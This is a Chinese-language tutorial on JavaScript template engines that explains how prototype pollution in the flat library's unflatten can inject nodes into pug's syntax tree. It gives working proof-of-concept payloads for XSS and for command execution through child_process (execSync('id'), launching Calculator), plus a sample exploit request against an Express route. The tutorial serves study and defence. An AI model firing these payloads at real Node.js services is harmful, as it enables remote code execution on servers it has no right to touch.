模版引擎是什么#
JS web 开发中常用的模版引擎如 ejs、pug、handlebars
功能：动态渲染 HTML 代码，创建可重复使用的页面结构
ejs 模版使用
// 安装EJS模块：npm install ejs
// 引入EJS模块
const ejs = require('ejs');
// 定义模板
const template = `
<h1>Hello, <%= name %>!</h1>
`;
// 渲染模板
const data = { name: 'John' };
const html = ejs.render(template, data);
console.log(html);
handlebars 模版使用
// 安装Handlebars模块：npm install handlebars
// 引入Handlebars模块
const handlebars = require('handlebars');
// 定义模板
const template = `
<h1>Hello, {{name}}!</h1>
`;
// 编译模板
const compiledTemplate = handlebars.compile(template);
// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
pug 模版使用
// 安装Pug模块：npm install pug
// 引入Pug模块
const pug = require('pug');
// 定义模板
const template = `
h1 Hello, #{name}!
`;
// 编译模板
const compiledTemplate = pug.compile(template);
// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
模版引擎的工作原理#
词法解析 -> 语法解析 -> 代码生成
但是在语法树处理的过程中，如果存在原型链污染，则可以随意修改 AST 树，进而影响生成的代码，最终达到 RCE（远程代码执行）的目的
pug template AST injection#
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
当执行到 fn({msg: 'It works'}); 这一步的时候，本质上是进入了一段函数
(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
var locals_for_with = (locals || {});
(function (msg) {
;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
}.call(this, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined));
;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})
AST Injection 原理分析#
语法树结构#
pug 解析 h1= msg ，生成的语法树结构：
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"selfClosing":false,
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true,
"line":1,
"column":3
}
],
"line":1
},
"attrs":[
],
"attributeBlocks":[
],
"isInline":false,
"line":1,
"column":1
}
],
"line":0
}
语法树生成后，会调用 walkAst 执行语法树的解析过程，依次对每个节点的类型进行判断，即如下代码：
function walkAST(ast, before, after, options){
parents.unshift(ast);
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) { // 注意这里
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Text':
break;
}
parents.shift();
}
语法树执行顺序#
以刚刚生成的语法树结构举例，解析顺序为：
- Block
- Tag
- Block
- Code
- …?
注意第 4 步解析 node.Type 为 Code 类型，会执行如下代码：
case 'Code':
case 'While':
if (ast.block) { // 注意这里
ast.block = walkAST(ast.block, before, after, options);
}
- 判断
ast.block属性是否存在，此处的ast即当前 ast 语法树的节点 - 如果存在，继续递归解析 block
结合原型链污染#
如果某处存在原型链污染漏洞，使得
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
那么 ast.block 就会访问到 ast.__proto__.block ，即Object.prototype.block 的属性
此时代码输出结果，导致了 XSS
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
RCE#
我们知道 pug 本质上是将一段代码，如 h1 =msg 编译为一段 js 代码，背后其实就是生成语法树 + new Function
因此如果能通过 AST Injection 插入节点，并使之成为代码，即可达到远程代码执行的目的。
刚好 pug 中就有如下代码：
// /node_modules/pug-code-gen/index.js
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
那么我们通过 AST Injection + Prototype Pollution 即可实现 RCE
const pug = require('pug');
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
Attack example#
express 开发的 web 服务，其中一个 CGI 如下：
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
本地跑起来后运行在 1337 端口：
原型链污染#
注意到这一行代码：
const { song } = unflatten(req.body);
unflatten 这个库存在原型链污染
var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true
AST Injection#
注意到这一行代码：
pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
结合原型链污染，可以实现 RCE
{
"song.name": "The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // 可以执行任意命令
}
}